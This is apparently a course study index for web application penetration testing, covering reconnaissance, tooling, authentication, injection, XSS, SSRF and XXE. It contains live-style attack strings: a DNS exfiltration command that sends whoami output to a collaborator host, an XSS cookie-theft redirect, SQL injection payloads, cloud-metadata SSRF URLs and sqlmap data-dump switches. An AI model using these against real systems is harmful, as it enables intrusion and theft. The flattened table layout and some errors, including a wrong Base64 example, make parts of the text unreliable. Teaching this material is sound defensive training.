Sec542 Index PDF
Document Details
Uploaded by Deleted User
Tags
Summary
This document provides an overview of information gathering methods for web application penetration testing. It discusses various topics, including threat modeling, source code review, and different testing methods like SAST and DAST. The document also touches upon key considerations and tools.
Full Transcript
Information Gathering Topic Page Comments By understanding what are realistic threats to a system or application, organizations can prioritize...
Information Gathering Topic Page Comments By understanding what are realistic threats to a system or application, organizations can prioritize remediation Threat Modeling pg.16 efforts to the findings that have the greatest positive impact to the overall security posture. Source code review by qualified individuals can find vulnerabilities that are difficult, or impossible, to find by Source Code pg.17 performing dynamic pen test assessments. Static Application Security Testing (SAST) pg.18 Dynamic Application Security Testing (DAST) pg.19 Manual Inspection pg.20 Zero-knowledge pg.23 Full-knowledge pg.23 Methodology pg.24 OWASP Web Security Testing Guide (WSTG) pg.33 Penetration Testing Execution Standard (PTES) pg.24 OWASP Top 10 pg.28 OWASP Web Application Penetration Testing Methodology pg.31 Some key considerations are: o Attack platform (pg.39) o Dynamic web application security scanner(s) (pg.41) o Browser(s) (pg.42) Web Application Pen Tester’s Toolkit pg.38 o Interception proxies (pg. 44) Interception Proxies pg.44 Interception: Zed Attack Proxy (ZAP) pg.46 ZAP's passive scanner is always running. The active scanner actively scans a site, searching for vulnerabilities. ZAP's spider is a traditional web spider, which attempts to identify all content on a website. The AJAX spider can parse AJAX content, enabling it to (potentially) discover additional dynamic content that is missed by most Zap Attack Menu pg.48 web spiders. ZAP: Tools pg.51 The Tools menu contains most of the attack capabilities within ZAP. Burp Suite pg.52 Burp Suite: Target - Site Map - Filter pg.56 Efficient means of automating large volume custom Burp Suite: Intruder pg.59 injections This tool allows resending individual requests scanner pg.60 with or without editing and seeing the application's response. Assesses data randomness. Sequencer can be used to assess CSRF tokens or any other element of an Burp Suite: Sequencer pg.61 application that depends on being random. Burp Suite: Decoder pg. 62 encode and decode or hashing Compare two requests or responses Burp Suite: Comparer pg.63 to quickly identify subtle changes Burp Suite: Engagement Tools pg.65 WWW history pg.69-70 Semantics describe the concept of request and response exchanges including: methods, status codes, header fields (metadata) and bodies HTTP Syntax vs. Semantics pg. 71 (payload). Syntax describe how to map semantics to bytes on the wire. 0.9 HTTP - Only exchanged text files 1.0 HTTP - Allowed binary content - Support Basic Authentication 1.1HTTP - Virtual hosting introduced - Better support for caching, proxies and compression -Digest authentication added to extend v1.1 (1999) -Windows Integrated Authentication added in 2000 2.0HTTP - Push Promise allows servers to send content to clients -HPACK - HTTP/2 Header Compression -Browsers require HTTPS by default One TCP connection per origin simultaneously -performing multiple Requests/Responses 3.0HTTO - Essentially HTTP/2 over 443/UDP -Significantly faster over-the-wire communications HTTP Protocols (Syntax) pg.72 -As of late 2023, neither ZAP nor Burp has support HTTP Request (Semantics) pg.76 HTTP Response (Semantics) pg.77 HTTP Request: Methods/Verbs pg.79 HTTP Request Methods: GET pg.80 No payload (body) is sent with an HTTP GET request HTTP Request: URI Query Parameters pg.81 Per the RFC for URIs, the query "is indicated by the first question mark (?)" HTTP Request Methods: POST pg.82 HTTP Request: POST Parameters pg.83 HTTP Request: Verb Tampering and GET/POST Method Interchange pg.85 HTTP Request Methods: HEAD pg.86 TRACE allows the client to see what is being received at the other end of the request chain and use that data for testing HTTP Request Methods: TRACE pg.87 or diagnostic information OPTIONS method, it responds with the list of HTTP Request Methods: OPTIONS pg.89 supported methods in the Allow HTTP response header CRUD frequently pops up: Create Read HTTP Request Methods: Other CRUD pg.91 Update Delete The User-Agent identifies the web client in an HTTP Request. Is considered by most folks to represent the HTTP Request: User-Agent pg.92 browser request header is used to identify for the target HTTP Request: Referer pg.93 server what page the user-agent was viewing when a link was clicked. For every application that uses cookies to store session information, stealing a cookie allows impersonating a user. Protect cookies by: Secure (pg.96) - The Secure attribute is used to indicate to the browser to send the cookie only over a secure channel (i.e., HTTPS): HttpOnly (pg.97)-used to indicate to the browser that the cookie must not be accessed by client-side scripting languages. The cookie will be an empty string if attempt to read. SameSite (pg.98) - purpose of the SameSite attribute is to prevent Cross Site Request Forgery (CSRF) attacks. attribute is used to control when a cookie is being sent in cross-site requests. 3 possible values: *strict - prevents the cookie from being sent in any cross-site requests *lax – allows the browser to send the cookie in a regular link while preventing sending of the cookie in a CSRF attack *none – allows the browser to always send the cookie HTTP Request: Cookie pg.94 1xx: Informational - Request received, continuing process 2xx: Success - The action was successfully received, understood, and accepted 3xx: Redirection - Further action must be taken in order to complete the request 4xx: Client Error - The request contains bad syntax or cannot be fulfilled HTTP Status codes pg.100 5xx: Server Error - The server failed to fulfill an apparently valid request field is used to specify directives for caching mechanisms in both requests and responses. Caching directives are unidirectional, meaning that a given directive in a request is Cache-Control general-header pg.101 not implying that the same directive is to be given in the response. The most commonly used HTTP security headers are listed below: X-Frame-Options (pg.103) – used to prevent framing (iframe) HTTP Strict Transport Security (pg. 104) – ensures access over HTTPS. Content-Security-Policy (pg.105) – defines from where active content (i.e., HTTP Security Response Headers pg.102 JavaScript code) can be loaded and executed. Prevent XSS. WSTG: Information Gathering pg.107 HTTP version 1.1 introduced virtual hosts. Virtual host discovery involves identifying the DNS records Virtual Host Discovery pg.110 associated with the web server’s IP address. DNS pg.111 Virtual hosts are identified by their associated domain name, so it makes sense to interact with DNS directly to try to find relevant names. DNS “brute force” (dictionary) scans Querying DNS Servers Directly pg.112 Reverse DNS (PTR) scans Many DNS administrators (and DNS tools) reliably create reverse Reverse DNS Scan pg.113 (PTR) records for every forward (A) record: WHOIS lookup pg.113 IP addresses owned by the target organization Although commonly called “brute force” scans, these DNS scans are actually dictionary attacks: o Supply a dictionary of potential DNS names o Read each entry o Attempt to resolve $entry.example.com DNSRecon (discussed shortly) has a number of useful dictionaries DNS Brute Force Scans pg.114 (called wordlists) nslookup (pg.16) dig (pg. 118) Nmap (pg.119) DNS Reconnaissance Tools pg. 115 DNSRecon (pg.120) Nmap DNS NSE Scripts DNSRecon pg. 120-121 performs DNS enumeration and gathering detailed information about a domain’s DNS records DNS Repositories pg. 122 Dnsdumpster.com, Farsight Security’s DNSDB HTTPS Certificate Virtual Host Discovery pg. 123 DNSRecon can also search for domains in the Certificate Transparency logs by using the “-t crt” switch. Target Profiling pg.129 Shodan pg.130 A bash for loop iterates through the numbers 0 to 1023 and stores each value in the $port variable. Netcat’s -v (verbose) switch is used to report when a connection fails or succeeds. Netcat’s -z switch causes a connection to be tried without sending any data. The errors from netcat are redirected into standard IN (2>&1). Port Scanning pg.132 Grep filters for responses associated with successful connections. Nmap pg.134 gowitness pg.135 collect screenshots Identifying Web Server Components pg.138 A02:2021-Cryptographic Failures pg.145 HTTPS: Transmission Security for HTTP pg.146 HTTPS: SSL/TLS Handshake pg.147 The cipher suite includes: A symmetric algorithm for bulk data encryption/confidentiality An asymmetric algorithm for key negotiation and endpoint authentication HTTPS: Confidentiality++ pg.148 A hashing algorithm to ensure integrity HTTPS: Public Keys/Certificates and Certificate Authorities pg.151 WSTG-CRYP-01: Testing for Weak Transport Layer Security pg.152 evaluates ciphers supported by an HTTPS server Nmap NSE script ssl-enum-ciphers pg.154 $ nmap -p 443 --script=ssl-enum-ciphers Thorough reporting of HTTPS HTTPS Testing: Using testssl.sh to Evaluate HTTPS pg.155 configuration HTTPS Testing: Qualys SSL Labs pg.156 An outstanding public resource for evaluating SSL configurations is available from Qualys. Application Information Gathering: Spidering pg.160 The robots.txt file includes paths spiders should ignore. Spiders built for attackers tend to collect excluded paths and use them as entry points into the application. The robots.txt file is publicly available; it should not be used to Robot Exclusion Protocol pg.162 “hide” sensitive content or functionality Manual vs. Automated Spidering pg.163 Command-Line Spidering pg.165 By default, Wget ignores entries in the robots.txt file, to disable use -e robots=off Burpsuite: Spider pg.166 ZAP: Spider pg.167 AJAX Spidering pg.168 CeWl (Custom Word List Generator) pg.169 is a tool used in penetration testing to create custom wordlists for password cracking. Open-Source Intelligence (OSINT) pg.176-185 OSINT: theHarvester pg.183 Fuzzing, Scanning, Authentication & Session Testing Topic Page Comments Fuzzing pg.8-9 Known attack strings: alert(42) or ' or 1=1;# Intruder operates in four modes: o Sniper (pg.13) - injects one payload value at a time into one field at a time o Battering Ram(pg.14)-injects one input source into multiple fields simultaneously o Pitchfork(pg.15)-Pitchfork injects multiple payload sets into multiple values. Uses Match sets. o Cluster Bomb(pg.16)- injects multiple payload sets into multiple values. Try every combination of Fuzzing with Burp Intruder pg12- payload. Directory and file discovery: o ffuf –w wordlist.txt –u http://www.sec542.org/FUZZ Virtual host discovery: o ffuf –w wordlist.txt –u http://www.sec542.org \ –H "Host: FUZZ.sec542.org" ffuf (Fuzz Faster UF..L) pg.17 Custom filtering of results contains a collection of high-quality web application penetration SecLists pg.20 testing fuzzing sources Establish baseline first. Then look for response code and # of bytes. Followed by response Review the Fuzzing Responses pg.24 time. provide additional reconnaissance data Information leakage pg.26 that can be quite useful during penetration tests WSTG-CONF-04: Review Unreferenced Files for Sensitive Information pg.27 WSTG-INFO-03: Review Webserver Metafiles for The robots.txt file lists paths that “well-behaved” spiders (like Wget) Information Leakage pg.29 will ignore when crawling the website Enables the attacker to "break out" of the web server and surf the underlying Directory Browsing pg.30 filesystem For example, search for: Google Searching for Directory Browsing pg.31 o site:gov intitle:"Index of" "last modified" Passive scanner (pg.34) - Identify issues based on requests and responses already visible to Burp Active scanner (pg.36)- Identify issues by sending new requests to the target and analyzing results Also, intensity of interaction required to detect the issue can be adjusted. Herein, Burp specifies Passive, Light active, Medium active, Intrusive active, and JavaScript Burp Scanner pg.33 analysis. Burp Scanner: Configuration pg.38-41 Confidence Levels Certain Firm Burp Scanner: Vulnerability Verification pg.46 Tentative Burp Scanner: Retesting and Remediation Verification pg.47 "audit again" function of an item available in Audit Items Forced browsing is the technique of identifying directories and files, but also the more involved discovery of Content Discovery – Forced Browsing pg.52 API endpoints. Uses wordlists Burp: Discover Content pg.54 ZAP: Forced Browse pg.55 Comes with a number of default wordlists Kiterunner pg.56 Designed to cause APIs to respond when traditional tools would not Assetnote Wordlists pg.57 Quality wordlists == Better results Built into HTTP protocol: *Basic *Digest *Integrated Windows Application level: *Forms-based Authentication pg.61 *Federated identity management (OpenId, OAuth, SAML) Built-in Authentication Schemes pg.62 *The simplest built-in authentication scheme, defined in RFC 2617. With Apache, this is typically done by storing credentials containing hashed passwords in the.htpasswd file, while the Microsoft IIS server may use local user accounts on the server on which IIS is installed for authentication. *Authorization header will have a Username and password are concatenated with a : between, and then Base64 encoded (example): echo -n "marvin:parniod" | base64 HTTP Basic Authentication pg.63 bWFydmlu0nbhcmFUB2LK HTTP Basic Authentication Illustrated pg.64 *Credentials are passed only Base64 encoded, they can be easily decoded. Must work with SSL/TLS *Authorization header is passed in every subsequent request HTTP Basic Authentication Issues pg.66 *There is no logout! And no account logout. Designed to “fix” the HTTP Basic Authentication scheme Does not send the password over the network any more New parameters is the nonce, which is salt added to the hash. Complex encryption. Final HTTP Digest Authentication pg.67 product: HA1:nonce:nonceCount:clientNonce:qop:HA2 HTTP Digest Authentication Illustrated pg.68 Same issue as Basic Authentication. While the user’s credentials are not sent over the wire in plain text anymore, if not protected with SSL/TLS they HTTP Digest Authentication Issues pg.69 can still be subject to offline cracking authentication schema that was added by Microsoft. uses same headers as HTTP Basic and Digest authentication but specifies Integrated Windows Authentication pg.70 NTLM as the schema Integrated Windows Authentication Illustrated pg.71 Integrated Windows Authentication Issues pg.72 Same issues as basic and digest. And attack vector CSRF. Authenticating with Burp pg.73 Burp will handle authentication before the browser. The most common way of user authentication. Not handled by the server – it must be handled by the application. SSL/TLS must be used. Normally backend authentication is used (i.e., SQL databases). Three important components: Form-Based Authentication pg.74 Authentication, Processing Code, and Resource protection Form-Based Authentication Illustrated pg.76 are typically the most vulnerable since the whole implementation depends on the developer, who is responsible for creating secure authentication Form-Based Authentication Issues pg.77 mechanism. Commonly used in Phishing attacks. Authentication is handled by a third-party server called the identity provider. Oauth in an authorization framework OpenID Connect is Oauth extension for identification and authentication (supported by OpenId/OAuth Authentication pg.79 google,Facebook, Yahoo, etc.) SAML Authentication (Security Assertion Markup Standard through which Service Providers (SP) and Identity Providers (IdP) Language) pg.80 communicate with each other SAML Authentication Example pg.81 SAML Request and Response pg. 82-87 Industry standard protocol for authorization. OAuth2 was meant for authorization, it is quite commonly used for OAuth2 pg.88-92 authentication as well achieved through an extension called OpenID Connect OAuth2 Scopes pg.92 OpenID Connect defines the following scopes: openid, profile, email, address, phone, etc. Once a user successfully authenticates with an Authorization Server, the application will OpenID Connect pg.93 receive an AccessToken. 4 grant types: Authorization code Implicit Flow with Form Post Resource Owner Password flow OAuth2.0 Grant Types pg.94 Client Credentials Flow OAuth2.0 Authorization Code Flow pg.95 OAuth2.0 Authorization Code Flow (2) pg.96 OAuth2.0 Implicit Flow (1) pg.97 The OAuth2.0 server now sends the user back to original page with required tokens passed as URL fragment o Location: https://shop.sec542.org/oauth-callback#access_token=- SVbIG18I3eFbDXXqNGcAoeEBopvbb46IiTZVE0Rrfz&expires_in=3600&token_type=Bearer& OAuth2.0 Implicit Flow (2) pg.98 scope=openid%20profile%20email OAuth2.0 Assessments pg.99 Mainly based on insecure configurations. OAuth2.0 Vulnerabilities pg.101-102 can you modify the redirect_uri parameter so a user is redirected to an arbitrary web site? Bearer Authentication pg.103 is the de-facto standard for creation of tokens. Consist of three parts: Header: Metadata (e.g., algorithm and type of token). Payload: Claims (e.g., user data and token expiration). JWT (JSON Web Tokens) pg.104-106 Signature: Ensures token integrity and authenticity. JWT (JSON Web Tokens) issues pg.107 A weak implementation WSTG-IDNT-04: Testing for Account Enumeration pg.113 Password-guessing attacks require two data sources: potential Username/password Harvesting pg.114-115 usernames and potential passwords Username/password Harvesting - Results to look for pg.116 A side-channel attack uses physical attributes to break a system: Electromagnetic Side-Channel Attacks pg.117-118 Interference (EMI), heat, sound, time, and such two basic uses (in our world) for hash algorithms—integrity and timing attacks pg.119 passwords Use of slow hashing algorithms such as bcrypt results in a measurable difference when the application uses this logic: Good username: Hash the password; return error if wrong passwordoBad username: Practical Side-Channel Timing Attack pg.121 Immediately return error the web server Session Management pg.127 or the web application to track sessions Session identifier can be found in: oCookies o Hidden form fields (usually as POST parameters) o Custom headers o URI parameters Common session identifier names: Session identifier pg.128 o JSESSIONID, PHPSESSID, ASP.NET_SessionID four principles for session identifiers are presented:1 Unpredictable (pg.130) - Session IDs should be resistant to the identification of prior values and prediction of future values Tamper Resistant (pg.133)-session identifier is valid and expected Expires (pg.135) Confidential (pg.137) - Session IDs should be transmitted through HTTPS to prevent unauthorized access. Sensative data should not be submitted by URI. Cookies are the most common way to implement session Session Management Principles pg.129 identifiers In order to test session ID predictability, session token values must be collected. Burp Suite's Sequencer will send repeated requests to the web application and collect the session IDs set in the Predictability: Collecting Session Values pg.132 responses.Secure flag should be set to prevent cookies from being compromised. Review any session IDs set by the web application prior to authenticating o See if the session ID value changes after authentication Select a session ID parameter and change it prior to authenticating Testing Session Fixation pg.133 o See if the session ID value changes after logging in Injection Topics Page Comments WSTG-ATHN-04: Testing for Bypassing Authentication Schema pg.8 Authentication Bypass pg.9 Parameter Tampering and Direct Page Access pg.10 Authorization Bypass pg.12 Authorization Attacks pg.13 Authorization bypass flaws permit access to resources that should not be available. Authorization flaws associated with role enforcement are broken into two main categories: *Users of similar roles have unauthorized access to each other's data. *Users of one role having access to resources of another role Role Enforcement pg.14 Example: same session IDs between two roles. Accesses resources directly through parameters without first authenticating or using accounts that should not have Insecure Direct Object Reference (IDOR) pg.15 access to the resource WSTG-INPV-12: Testing for Command Injection pg.19 When a web application uses user-controlled input with an operating system command without proper sanitization, an Command Injection pg.20 attacker may be able to change, or add to, the executed command Two varients exist: Blind Command Injection & Non-Blind o Command separation and output redirection: ; | || & && > >> Controls intended to prevent command injection may prevent the use of characters like the semicolon. In those cases, try other symbols such as the double pipe, "||", which will run the second command if the first one (the ping command) fails. Finding Command Injection pg.21 Tailor commands to the OS type of the target system. Exploiting Command Injection pg.23 ICMP and DNS are useful tools for determining blind injection Pause for ten seconds by pinging 127.0.0.1 eleven times: example: sec542.org; ping -c11 127.0.0.1 Methods for Determining Blind Injection pg.25 Always use the "-c" flag! To set ping amount Using DNS to Determine Blind Injection pg.26 Burp Collaborator pg.27-28 Blind Data Exfiltration via DNS pg.29-31 sec542.org;a=$(whoami|base32|tr -d =);nslookup $a.ma0fqfz3btctaplc0hmlan153w9nxdl2.oastify.com Local File Inclusion (LFI) pg.36 & 38 vulnerabilities in parameters used to retrieve files from the local webserver. permits an attacker to access files outside of the webroot. Example include URL encoded values of %2e and %2f into their decoded "." and Directory Traversal pg.37 "/" counterparts to exploit url. Remote File Inclusion (RFI) pg.39 retrieves files stored on remote systems across a network OWASP A08:2021-Software and Data Integrity Failures pg.43 Insecure Deserialization pg.44-45 converting a stream of bytes back into an object in memory of a current process Key Characteristics of Java Serialized Objects: *Serilalized objects are binary blobs *Magic number (0xACED) and version number included in the beginning Serialization examples (Java) pg. 48-56 ex: ac ed 00 05 73 72 00 06 50 65 72 73 6f 6e …(Java serialized object in hexadecimal and ASCII format) Java applications are most often exploited up to Remote Code Execution through Insecure code execution. This is usually done by a developer simply calling readObject() deserializaion pg.57 on a serialized object they received from an untrusted source Ysoserial pg.59 a collection of Java serialization gadgets that can be chained together to trigger unsafe deserialization The flaw stems from the application allowing user-supplied SQL Injection/ Relational Database pg.64/65 input to be used in a dynamically built SQL query that is sent to the backend data store SELECT – The most common verb; retrieve data from a table INSERT – Add data to a table UPDATE – Modify existing data DELETE – Delete data in a table DROP – Delete a table Key SQL Verbs pg.67 UNION – Combine data from multiple queries WHERE – Filter SQL query to apply only when a condition is satisfied AND/OR – Combined with WHERE to narrow the SQL query LIMIT #1,#2 – Limit rows returned to #2 rows, starting at #1 SQL Query Modifiers pg. 68 ORDER BY # – Sort by column # bool – Boolean True/False int – Integer char – Fixed length string varchar – Variable length string SQL Data Types pg.69 binary – Name employed varies quite a bit SQL Special Characters pg.70 SQL Injection Example: Code pg.71,72,73 – The single quote closes out any string. or 1=1 – This tautology (always true logic) changes the query logic. SQL Injection Example: ' or 1=1; -- Injected pg.75-76 ; -- – The end of the payload completes the statement and comments out remaining code that could cause syntax errors SQL INSERT and UNION statements require us to know the number of columns required or used: SELECT id, username, password FROM user1_tbl WHERE username='Zaphod' UNIONSELECT id2,username2, password2 SQL Quote Balancing pg.77-79 FROM user2_tbl; The data types don’t have to match, but they need to be INSERT and UNION statements pg.80 compatible/convertible UNION Balance pg.81 Everywhere. But, common area: GET URL query parameters POST payload HTTP Cookie – SQLi here is more likely to be blind. SQL Input locations pg.84 HTTP User-Agent – SQLi here is more likely to be blind. In-Band/Inline SQLi pg.86 Simpler to discover. Visbible. Blind SQL Injection pg.87-88 Varying Degrees of Blindness Database Error Messages pg.89-94 If you see database error messages, it isn’t blind SQL Injection Inputs: Dent , which returned data Without DB Errors pg.95 Dent' , which threw an "Employee not found" Inject for Comment pg.96 Comments can be a serviceable tool to help get through a persistent SQL syntax error. The main way we use comments is as an injection suffix. A comment delimiter like -- or # at the end of an injection can nullify Inject for Comment (2) pg.97-98 the impact of the source code after our point of injection Here are some inputs that return employee data: Dent' AND 1;# Binary/Boolean Inference Testing pg.99 Dent' AND 1=1;# Blind Timing Inferences pg.101 Sleep(10) – MySQL (10 second delay) Out-of-Band SQLi pg.102-103 Utter Blindness; no response, no errors. Special functions/parameters: SELECT @@version (MySQL and SQL Server ) String concatenation: (MySQL : 'De' 'nt', MSSQL : 'De'+'nt', Oracle : 'De'||'nt') DB Fingerprinting pg.105 Unique numeric functions: (MySQL : connection_id(), MSSQL : @@pack_received, Oracle : BITAND(1,1)) Databases/Tables/Columns pg.106-107 Stacked queries, or query stacking, means multiple SQL queries can be submitted simply by splitting them with a semicolon (;). Stacked Queries pg.109-111 SELECT * FROM Users WHERE lname='Dent'; CREATE TABLE exfil(data varchar(1000));-- '; UNIONizing SQL Injection pg.113-114 The UNION allows for performing two SELECTs and presenting the data as if it were within a single table number and the initial column data type considerations: SELECT * FROM Users WHERE lname='Dent' UNION SELECT NULL;-- '; SELECT * FROM Users WHERE lname='Dent' UNION SELECT NULL,NULL;-- '; SELECT * FROM Users WHERE lname='Dent' UNION SELECT NULL,NULL,NULL;-- '; UNION+NULL pg.117-119 Get an error until the right # of columns is requested. example: Binary Inject 1: substr((select table_name from information_schema.tables limit 1),1,1) > "m" Binary Inject 2: substr((select table_name from information_schema.tables limit 1),1,1) > "g" Blind Boolean Inference Exfiltration pg.121 Results: "No employee found" = FALSE Delete data, Inject data, DB privilege escalation, Reading files : oMySQL - LOAD_FILE() oSQL Server - BULK INSERT Writing files: oMySQL - INTO OUTFILE OS interaction beyond files: oSQL Server includes many stored SQLi Potential Attacks pg.123 procedures to interface with OS The scenario most likely to have SQLi lead to (web) shell access is either an internal penetration test where the web root of SQLi -> Write File -> Shell pg.124 the DB server is accessible, or a more complex scenario involving a pivoted internal compromise An open-source, Python-based, command-line SQL sqlmap pg.130 injection tool The following switches, in particular, are useful to let sqlmap do the discovery: -u – A URL to kick off sqlmap. --crawl – Spiders the site trying to discover entry points for testing. --forms – Target forms for injection. sqlmap: Initial Targeting pg.134 --dbms – If we already know (or have a good guess) about the backend DB, we can inform sqlmap. * -r / -l – Captured HTTP Request or proxy log as starting point --cookie – Manually set cookies (e.g., --cookie 'SESSID=42') sqlmap: Auth/Sessions/Proxies pg.135-137 --proxy – Have sqlmap go through Burp/ZAP or another proxy (e.g., --proxy http://127.0.0.1:8081) If you need to be stealthy for the penetration test or need to avoid WAFs/admins that scrutinize user agents: sqlmap: HTTP Headers pg.139 --referer – Applications and WAFs are more commonly validating that the HTTP Referer matches the expected flow sqlmap: DB Enumeration pg.140 These can also prove that data can be exfiltrated without actually stealing it with the --count switch: --all – Dumps all data && metadata (yikes!) --count – No data exfiltrated; simply provides a count of records --dump – Steals data given the applied constraints (e.g., -D Orders -T Customers --dump)--dump-all – Exfiltrates all table data sqlmap: DB Data Exfiltration pg.141 --search – Scours DB/table/column for a string (e.g., user or pass) sqlmap switches for digging in deeper pg.142-143 XSS, SSRF, & XXE Topic Page Comments is a programming interface for HTML and XML documents: Document Object Model (DOM) pg.8-10 o It is platform and language neutral Allows inspection of the DOM: o Clicking on elements o Seeing details Browser Developer Tools pg.11 o Live modifications an object-oriented programming language. 3 Key terms: Functions are simply combinations of instructions coupled together Properties are fields of objects (attributes) Methods (“member functions”) are similar to functions, but they belong JavaScript pg.12 to objects Bascially libraries. String, Date, etc. Two most important interfaces are Window (represent JavaScript Objects pg.14 Browser window) and Document (HTML document loaded in the browser). JavaScript Browser Objects pg.15 The Window interface represents a window containing a DOM document JavaScript Web Page Interaction pg.16 Second most prevelant flaw in the internet. A type of web security vulnerability that allows attackers to inject malicious scripts into webpages viewed by other users. The scripts are often executed in the context of the victim's browser, enabling attackers to bypass the Same-Origin XSS (Cross-Site Scripting) pg.18 Policy (SOP), steal sensitive information, or perform actions on behalf of the user. The primary goal of HTML Injection is to get arbitrary HTML code to be rendered by a victim HTML Injection pg.20-21 browser Script Injection pg.22 example of inserting script: alert(42); is a fundamental security mechanism in web browsers that restricts how documents or scripts loaded from one origin can interact with resources from another origin. It helps protect users by Same-Origin Policy pg.23-24 isolating potentially malicious content. Prevents XSS. the SameOrigin, it must match on the following: Port: 80, 443, etc. Scheme/protocal - HTTP|HTTPS Same-Origin Policy Requirements pg.25 Host Embedding external scripts in HTML is allowable under the Same-Origin Policy (SOP) because SOP applies primarily to how scripts interact with resources like cookies, storage, and data from SOP and Externally Sourced Scripts pg.26-27 other origins—not to the embedding of scripts or resources themselves. pop-up XSS (proof of concept) pg.37 Session Hijacking pg.39 DOM Properties that could contain session data (but not limitted): document.cookie - Cookies are most common target document.URL – Query parameters document.forms - Hidden form fields and CSRF tokens Using location to send data to a server we control: location = 'http://sec542.org/c.php?='+document.cookie Session Abuse: DOM pg.40 location.replace('sec542.org/c.php?='+document.cookie) HTTPOnly pg.42 When it is set to "true", only HTTP (and not JavaScript) is allowed to interface with the cookies The framework consists of two components: o A BeEF controller, which is the server component used to manage so called hooked browsers BeEF (Browser Exploitation Framework) pg.44-49 o A client-side JavaScript file (the hook), which should be injected in vulnerable web pages Reflected (Non-Persistent, Type 2) Stored (Persistent, Type 1) Classes of XSS pg.53 DOM-based (Type 0) is a type of security vulnerability where an attacker injects malicious scripts into a website, and those scripts are immediately reflected back to the victim's browser. alert(42) Payloads are immediately delivered to the victim and will not persist for either XSS- Reflected (Non-Presistent) pg.54-58 the victim or other users Encoding serves as one of the more important approaches to defeating pattern-based blocking. Reflected XSS – URL Encoding pg.59-63 Thus, we can manually URL-encode the injection we want to perform to ensure it is not blocked. exploit a Stored XSS flaw by submitting our maliciously crafted input a single time, but this single input could impact millions of Stored XSS (Presistent) pg.64-65 users. Can stored in Involve indirectly supplying input that results in JavaScript executing within a web application: We might not even have the ability to interact with the vulnerable application Applications with more obvious OOB Stored XSS potential: Web-based email clients Out-of-Band Stored XSS pg.66 Security device consoles (IDS, SIEM, Firewall, etc.) 1)Execution in the Client: The attack occurs in the Document Object Model (DOM) on the client side. The server does not directly reflect or store the malicious payload. 2)Manipulation of DOM: The injected script manipulates the DOM environment to execute code. For example: 3)Accessing document.location, document.cookie, document.referrer, etc. Modifying innerHTML or other DOM properties. No Server Involvement: The server may return static or unmodified content. The vulnerability exists because the JavaScript on the page processes user-controlled input insecurely. 4)Dynamic Contexts: Payloads often exploit how JavaScript dynamically interacts with the page DOM-Based XSS (or Client XSS) pg.69-74 content (e.g., via eval, innerHTML, document.write). Reflected and Stored DOM-Based XSS Vulnerabilities pg.76 Reflection tests: Simple but unique strings to determine if input is reflected back: 42424242 Filter tests: Determine what characters get filtered or encoded: ()='"/;[]{}$--#&// PoC payloads: These payloads attempt to prove the XSS flaw exists: XSS Discovery pg.80 alert(42); Common entry points such as: URL query parameters POST parameters HTTP Headers o User-Agent o Referer XSS Injection Points pg.81-85 o Cookies Discovering an injection point that yields immediate or delayed Filter Tests pg.86-87 reflection != XSS vulnerability The most commonly filtered XSS input is the tagBeyond the full script tag, the angle brackets would be the characters most likely to get filtered or encoded during output. Events can call JavaScript without having to reference DOM Event Handler Bypass pg.89-90 Example Event Payload: onerror=alert(42) Interception Proxies pg.91 Inducing users to send a GET request via clicking a link or fetching a resource Reflected POST pg.92 is fairly straightforward. is a type of security vulnerability that occurs in JavaScript applications when an attacker can Prototype Pollution pg.95-100 inject or manipulate properties in the prototype of built-in objects like Object.prototype. (Asynchronous JavaScript and XML) is a web technology that allows for creation of rich, asynchronous web applications. AJAX decouples the data interchange layer and the presentation layer A typical example: o A user clicks on a button in the displayed web page o An event handler catches the click and sends a request to a target website asynchronously The displayed web page does not change o Upon arrival of the response it is processed, and the displayed web page updated AJAX pg.104 accordingly The main object that allows interaction with remote servers.Allows retrieval of data from a URL without having to refresh the whole web page. The new Fetch API aims to replace XMLHttpRequest with a more powerful XMLHttpRequest pg.106 and flexible feature set XMLHttpRequest Properties and Methods pg.107-110 XMLHttpRequest object can be used to retrieve any type of data, not just XML. a mechanism that allows sharing of data between sites in different origins. CORS is used by modern browsers in XMLHttpRequest AJAX requests and Cross Origin Resource Sharing(CORS) pg.111 in the new Fetch API. Access-Control-Allow-Origin response header defines which origins are CORS Header - Access-Control-Allow-Origin pg.112 allowed to access content on this website Burp and Zap have hard time mapping links that are AJAX. Penetration tester needs to do is Penetration Testing AJAX Applications pg.113 simply click every possible link or button in the browser A framework defines the entire application design. Popular frameworks are: jQuery, AngularJS, Reatjs, and Bootstrap. Framework will be one or more JavaScript files included at the very beginning of an HTML web. JavaScript Frameworks pg.115 Use the Retire.js Burp extension to identify vulnerabilities automatically. JavaScript can also be used on server-side. Most popular server-side JavaScript runtime is Node.JS: You do not need to have two teams of developers (i.e., JavaScript developers for Server-side JavaScript pg.116 frontend and Java or.NET developers for backend) REST API’s were introduced, another data format was introduced as an alternative to XML: JSON Data Formats (JSON, REST, SOAP) pg.119 JSON (JavaScript Object Notation) is an open data interchange format eval() is actually similar to evil() and that the JSON.parse() method should be used JSON Attack (eval() is evil)*** pg.120-122 instead. RESTful Web Services pg.126 is a messaging protocol with three major characteristics: o It is extensible o It is neutral (it can use any transport protocol, be it TCP, UDP, HTTP or SMTP)o It works with any SOAP Web Services pg.128 programming model Postman pg.129 is a collaboration platform for API development SoapUI pg.130 is another popular tool used by developers for API testing Penetration Testing Web Services: Methodology pg.131 same a web applications vulnerability where an attacker induces a server-side component of Server-Side Request Forgery (SSRF) pg.132 an application to perform arbitrary requests. Examples, of sensative data available over http. AWS instance metadata http://169.254.169.254/latest/meta-data/ o Works only with old IMDSv1 Google Cloud (might require special headers) Server-Side Request Forgery (SSRF) Impact pg.133-137 http://metadata.google.internal/computeMetadata/v1/ a vulnerability that allows an attacker to interfere with the processing of XML data. If an XML parser processes user-controlled input and does not disable external entity resolution, an attacker can exploit this to access local files, perform network requests, or execute other XML External Entity (XXE) pg.143-150 harmful actions. XXE flaws are a class of injection attacks: o Injection attacks, like Command injection and SQL injection, allow the attacker to hijack control of the backend parser/interpreter. Abuse of XML External Entities (XXE) flaws allows the web application penetration tester to turn the XML parser into a proxy, potentially serving Why XML and XXE Matter pg.144 local and remote content XXE Example I – Proof of Concept pg.146 ]> XXE Example III – Access URL pg.158 ]> XXE Example IV – Remote Code Execution via PHP pg.159 o]> XXE is much easier to test when the penetration tester has access to the backend code. Zero knowledge v Full knowledge. XXE is often triggered via PHP, resulting in a server-side request. XXE: Flying Blind pg.150-151 Making Burp and Zap useless. CSRF, Logic Flaws and Advanced Tools Topic Page Comments CSRF (often pronounced "Sea-Surf") uses static content to exploit a victim (uses a web link), while XSS uses a scripting language (most commonly The Difference between XSS and CSRF pg.9 JavaScript). ZAP Anti CSRF Test Form 